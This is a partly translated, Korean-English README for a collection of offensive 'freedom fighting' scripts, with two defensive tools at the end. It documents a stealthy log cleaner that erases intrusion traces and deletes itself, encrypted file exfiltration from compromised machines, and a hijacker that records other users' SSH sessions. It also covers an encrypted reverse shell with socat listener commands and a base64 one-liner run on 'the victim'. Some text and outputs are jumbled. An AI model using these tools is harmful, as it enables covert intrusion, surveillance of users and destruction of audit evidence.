
자유를 위한 활동 중 유용하게 사용할 수 있는 스크립트 모음입니다.
이 저장소에는 자유 투쟁 활동 중 유용하게 사용할 수 있는 스크립트들이 포함되어 있습니다. 온라인에서 찾을 수 없는 것이 필요할 때 가끔 업데이트됩니다. 여기의 모든 것은 GPL v3 라이선스 조건에 따라 배포됩니다.
기여와 풀 리퀘스트는 매우 환영합니다.
로그 클리너로, 다음에서 유죄 증거가 되는 항목을 제거합니다:
/var/run/utmp, /var/log/wtmp, /var/log/btmp (who, w, last 명령어의 출력을 제어)/var/log/lastlog (lastlog 명령어의 출력을 제어)/var/**/*.log (.log.1, .log.2.gz 등 포함)항목은 IP 주소 및/또는 관련 호스트 이름을 기준으로 삭제됩니다.
로그를 조작하는 동안 파일 디스크립터가 손상되지 않도록 특별히 주의합니다. 즉, 로그가 조작된 후에도 계속 기록되므로 정리가 훨씬 덜 눈에 띕니다. 모든 작업은 tmpfs 드라이브에서 수행되며 생성된 모든 파일은 안전하게 삭제됩니다.
경고: 이 스크립트는 리눅스에서만 테스트되었으며 다른 유닉스 계열에서는 UTMP 항목을 정리할 수 없습니다.
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME] [--verbose] [--check] [log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments: log_files Specify any log files to clean in addition to /var/**/*.log.
optional arguments: -h, --help show this help message and exit --user USER, -u USER The username to remove from the connexion logs. --ip IP, -i IP The IP address to remove from the logs. --hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS of the IP. --regexp REGEXP, -r REGEXP A regular expression to select log lines to delete (optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
기본적으로 인수가 제공되지 않으면 스크립트는 `SSH_CONNECTION` 환경 변수를 기반으로 제거할 IP 주소를 결정합니다. 해당 IP의 역방향 DNS와 일치하는 항목도 제거됩니다.
#### Basic example:```
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
...사용자 root에 대해 IP 주소가 151.80.119.32이거나 호스트 이름이 manalyzer.org인 모든 항목을 제거합니다.
또한 --check 옵션으로 인해 각 레코드를 삭제하기 전에 사용자에게 확인을 요청합니다. 마지막으로, /etc/app/logs/access.log 파일이 모든 기본 파일과 함께 처리됩니다.
폴더가 위치 인수(예: /etc/app/logs/)로 제공되면 스크립트가 재귀적으로 탐색하여 .log 확장자를 가진 모든 파일(*.log.1, *.log.2.gz 등 포함)을 정리합니다.
로그 파일에서 임의의 줄을 제거하고 싶을 수도 있습니다. 이렇게 하려면 --regexp 옵션을 사용하세요. 예를 들어, 다음 명령줄은 지정된 IP에서 PHP 파일로의 모든 POST 요청을 찾습니다:```
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
#### 스크립트 데몬화```
./nojail.py --daemonize
이는 SSH 연결을 통해 실행된다고 가정할 때, 이 명령은 연결이 종료된 직후 현재 사용자의 활동과 관련된 모든 로그를 감지된 IP 주소와 호스트명과 함께 삭제합니다. 이후 이 스크립트는 자동으로 삭제됩니다.
애플리케이션에서 오류 메시지를 받을 기회가 없다는 점을 명심하십시오. 데몬을 실행하기 전에 먼저 한 번 로그 삭제를 시도하여 지정한 인수가 올바른지 확인하는 것이 좋습니다.
TTY가 없는 셸에 있는 경우 스크립트가 세션 종료를 감지할 수 없습니다. 로그가 60초 후에 삭제될 것임을 알리는 알림을 받게 되며, 그 전에 로그아웃해야 합니다 (그렇지 않으면 스크립트 실행 후 추가 항목이 생성될 위험이 있습니다).
root@proxy:~# ./nojail.py [ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com). [] 2 entries removed from /var/run/utmp! [] 4 entries removed from /var/log/wtmp! [ ] No entries to remove from /var/log/btmp. [] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net [] 4 lines removed from /var/log/nginx/error.log! [] 11 lines removed from /var/log/nginx/access.log! [] 4 lines removed from /var/log/auth.log!
### 면책 조항
이 스크립트는 어떠한 보증도 없이 제공됩니다.
처음부터 하지 말았어야 할 일의 모든 흔적을 지우지 못한다고 나를 탓하지 마세요.
## share.sh
이식 가능하고 안전한 파일 공유 스크립트입니다. 자유를 위해 싸우는 동안, 손상된 머신에 scp로 파일을 전송하는 것은 일반적으로 불가능합니다. 파일을 업로드할 다른 방법이 필요하지만, 대부분의 공유 서비스는 너무 제한적이거나 명령줄에서 쉽게 파일을 검색할 방법을 제공하지 않습니다. 보안 고려 사항으로 인해 사람들이 민감한 파일을 클라우드 제공업체에 업로드하는 것을 꺼리는 경우도 있습니다. 왜냐하면 제공업체가 파일을 영원히 보관할까 봐 두렵기 때문입니다.
이 작고 이식 가능한 bash 스크립트는 [transfer.sh](https://transfer.sh)에 의존하여 이 문제를 해결합니다. 이 스크립트는...
* 업로드 전에 파일을 암호화합니다 (대칭 AES-256-CBC).
* 증가된 익명성을 위해 시스템에 `torify`가 있으면 자동으로 사용합니다.
필요한 유일한 종속성은 `openssl`과 `curl` 또는 `wget` 중 하나입니다.
### Usage```
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
업로드 중 추가 인수를 사용하면 파일의 최대 다운로드 횟수(-m)와 transfer.sh가 파일을 유지하는 기간(-d)을 제어할 수 있습니다. 두 옵션의 기본값은 1입니다.
경고: 암호화 키에 공백을 사용하지 마십시오. 그렇지 않으면 암호의 첫 번째 단어만 인식됩니다. 이는 getopts가 인수를 처리하는 방식 때문입니다(제 생각에는). 이 문제를 해결하는 데 관심이 있다면 풀 리퀘스트를 환영합니다.
AutoJack은 EmptyMonkey의 shelljack을 활용하여 SSH를 통해 연결하는 모든 사용자의 터미널을 기록하는 짧은 스크립트입니다. auth.log에서 성공적인 연결을 감시하고, 사용자의 bash 프로세스의 PID를 찾아낸 후 나머지는 shelljack에 맡깁니다.shelljack.
Launch it in a screen, and wait until other users log-in. Their session will be
logged to /root/.local/sj.log.[user].[timestamp].
The script is not particularly stealthy (no attempt is made to hide the shelljack process) but it
will get the job done. Note that to avoid self-incrimination, the root user is not
targeted (this can be trivially commented out in the code).
ListURL is a multi-threaded website crawler which obtains a list of available pages from the target. This script is useful for bug-bounty hunters trying to establish the attack surface of a web application.
사용법: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
웹사이트를 재귀적으로 모든 URL을 수집하여 매핑합니다.
선택적 인수:
-h, --help 이 도움말 메시지를 표시하고 종료합니다.
--max-depth MAX_DEPTH, -m MAX_DEPTH
크롤링할 최대 깊이 (기본값: 3).
--threads THREADS, -t THREADS
사용할 스레드 수 (기본값: 10).
--url URL, -u URL 시작할 페이지.
--external, -e 외부 링크를 따라갑니다 (기본값: false).
--subdomains, -d 범위에 서브도메인을 포함합니다 (기본값: false).
-c COOKIE, --cookie COOKIE
요청에 쿠키를 추가합니다. 여러 번 지정할 수 있습니다.
예: -c "user=admin".
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
무시할 URL과 일치하는 정규 표현식. 주어진 표현식은
전체 URL과 일치할 필요 없이 일부만 일치해도 됩니다.
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
표시 결과를 필터링하는 정규 표현식. 주어진 표현식은
결과 내에서 검색되며 전체 URL과 일치할 필요가 없습니다.
예: \.php$
--no-certificate-check, -n
SSL 인증서 검증을 비활성화합니다.
--output-file OUTPUT_FILE, -o OUTPUT_FILE
획득한 URL이 기록될 파일
--verbose, -v 더 자세한 출력을 표시합니다. 여러 번 지정할 수 있습니다.```
Here is the sample output for a small website:
./listurl.py -u https://manalyzer.org [] 깊이 1에서 크롤링을 시작했습니다. [] 깊이 2에서 크롤링을 시작했습니다.... [] 깊이 3에서 크롤링을 시작했습니다. [] 발견된 URL: https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET) https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET) https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET) https://manalyzer.org/upload (POST) https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET) https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET) https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET) https://manalyzer.org/ (GET) https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET) https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET) https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET) https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET) https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET) https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET) https://manalyzer.org (GET) https://manalyzer.org/bounty (GET) https://manalyzer.org/search (POST)```
The --exclude-regexp and --show-regexp options are used to control which
URLs should be shown or ignored. For instance, in the example above, you may want
to ignore pages which are likely to be very similar:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] 크롤링 시작: 깊이 1.
[*] 크롤링 시작: 깊이 2...
[*] 크롤링 시작: 깊이 3.
[*] 발견된 URL:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)```
Note that the matching URLs will *not* be crawled. This is particularly useful
when the script gets lost in deep comment pages or repetitive content. Alternately,
you may only be interested in PHP scripts: ``./listurl.py --show-regexp "\.php$"``.
### Crawl parameters
By default, the crawler only goes 3 levels deep. This is something you can control
with the ``--max-depth`` option.
Another consideration is whether URLs pointing to external domains should be followed.
By default, the script doesn't, but you can enable this by setting the ``--external``
switch. If you're not interested in random external domains but still want to extend
the crawl to subdomains, you can set the ``--subdomains`` switch:
./listurl.py -u https://google.com --subdomains [] 깊이 1에서 크롤링 시작. [] 깊이 2에서 크롤링 시작.^C 인터럽트가 감지되었습니다! 잠시 기다려 주시면 스레드가 종료됩니다... [*] 발견된 URL: https://drive.google.com/drive/ (GET) https://google.com/../../policies/privacy/example/phone-number.html (GET) https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET) https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET) https://mail.google.com/mail/?tab=Tm (GET) https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET) https://google.com/locations/ (GET) [...]```
Notice that if the script takes too long, you can hit CTRL+C anytime to shut it down. You'll then be shown the pages discovered so far.
If you need to access authenticated pages on a website, you can provide
cookies to listurl.py from the command line with the --cookie option.
Finally, if you're working on a website which has an invalid or self-signed SSL
certificate, use the --no-certificate-check option to ignore SSL errors.
ersh is an encrypted reverse shell written in pure Python. Ever been on a
표준 유틸리티나 컴파일 도구가 없고, 바이너리를 업로드할 쉬운 방법이 없는
바이너리를? IDS가 아웃바운드 셸을 감지할까 봐 두려운가요? 실수로
^C를 눌러 netcat 리스너를 닫았나요?
더 이상 고통받지 마세요.ersh offers the following features:
For a more detailed discussion about how this tool came to be, please refer to this blog post.
This script needs to be edited before it works! Look for this marker near the beginning:
###############################################################################
# 아래 줄부터 매개변수를 편집하세요
###############################################################################```
The ```HOST``` and ```PORT``` are self-explanatory, but you may need additional help
for the SSL certificates. Nobody wants to fight against OpenSSL's client however, so
you can just use the following one-liners:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt```
That's it! You should now have five new files in your current folder: server.(crt|key|pem)
and client.(crt|key). Some of them need to be inserted in the script so
the reverse shell and the listener can authenticate each other. Specifically:
client_key should contain the contents of client.key.client_crt should contain the contents of client.crt.server_crt should contain the contents of server.crt.That's it, no more editing required.
Considering that a full TLS negociation is going to proceed, a traditional nc listener
will not suffice here. socat has been chosen for this task, due to its ability to
handle encryption and TTYs. On Debian-based distributions, you should be able to obtain
it by simply running sudo apt-get install socat.
Assuming you're still in the folder where you generated the keys and certificates, and you want to listen on port 443, here is the command line you should run on the machine where the reverse shell will arrive:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0```
### Running from memory
You don't need to copy the script to the remote machine for it to work. Here is a simple way to run it
from a non-interactive shell. Copy the whole script to your clipboard and run the following commands on
the victim:
python - <<'EOF' [paste script contents here] 'EOF'```
If you're trying to launch ersh.py from an environment which doesn't support multiple lines (such
as Weevely), you can also try generating a one-liner like this:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python```
### Sample output
On the receiver machine:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0```
On the victim:
root@victim:~# python ersh.py
[*] 연결이 설정되었습니다!
root@victim:~#```
And on the receiver again:
root@attacker:/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:# unset HISTFILE
root@victim:~#```tty,raw,echo=0
root@victim:
This script was written to detect evil maid attacks. It does so by checking at boot time if the hard drive was powered on but not the OS (for instance, if it was taken out of the computer for a copy, or if someone tried to boot the machine but was stopped by a FDE password).
You need to make sure this script will run at every boot. The following instructions will work on distributions using systemd.
/etc/systemd/system/. Fix paths inside of it as needed.
The script will run as root so make sure it is not world writable!#> systemctl enable boot_check.serviceInstall dependencies:
#> apt install smartmontools dialogRun the script once so it initializes:
#> ./boot_check.pyIf a confirmation message appears, you're good to go.
If you want to make sure that the script works, make sure you do the following:
This script was created to provide a simple way to "booby-trap" certain
executables on a linux system. The idea is to detect intruders when they use
certain binaries (id, whoami, gcc) on a server they don't own.
To protect those binaries, notify_hook.py create symbolic links to this
script higher-up in the PATH. notify_hook will then send you an alert
and call the intended program in a transparent fashion. For instance, if
you want to "protect" id, just create the following symlink on your machine:
ln -s path/to/notify_hook.py /usr/local/bin/id```
...and all future calls to `id` should be routed through this script. This
is obviously not a foolproof way to detect hackers on your systems, but it
should nonetheless catch the most careless intruders.
### Customization
Some programs and scripts on your system may regularly invoke some of the
binaries you wish to protect. In that case, you can edit a variable called
`CALLER_WHITELIST` placed at the beginning of the script. Put the name of
those processes in the list to disable alerts from them (regular expressions
are accepted).
The current notification method implemented in this script is a text message
sent thtough Signal with AsamK's
[signal-cli](https://github.com/AsamK/signal-cli). You'll need to install this
project separately if you want to use it, or, more likely, replace the
`notify_callback` function placed on top of `notify_hook.py` with whatever
suits your needs.
### Contact
[](https://github.com/justicerage/freedomfighting/blob/HEAD/justicerage@manalyzer%5B.%5Dorg)
[](https://twitter.com/JusticeRage)
[](https://pgp.mit.edu/pks/lookup?op=vindex&search=0x40E9F0A8F5EA8754)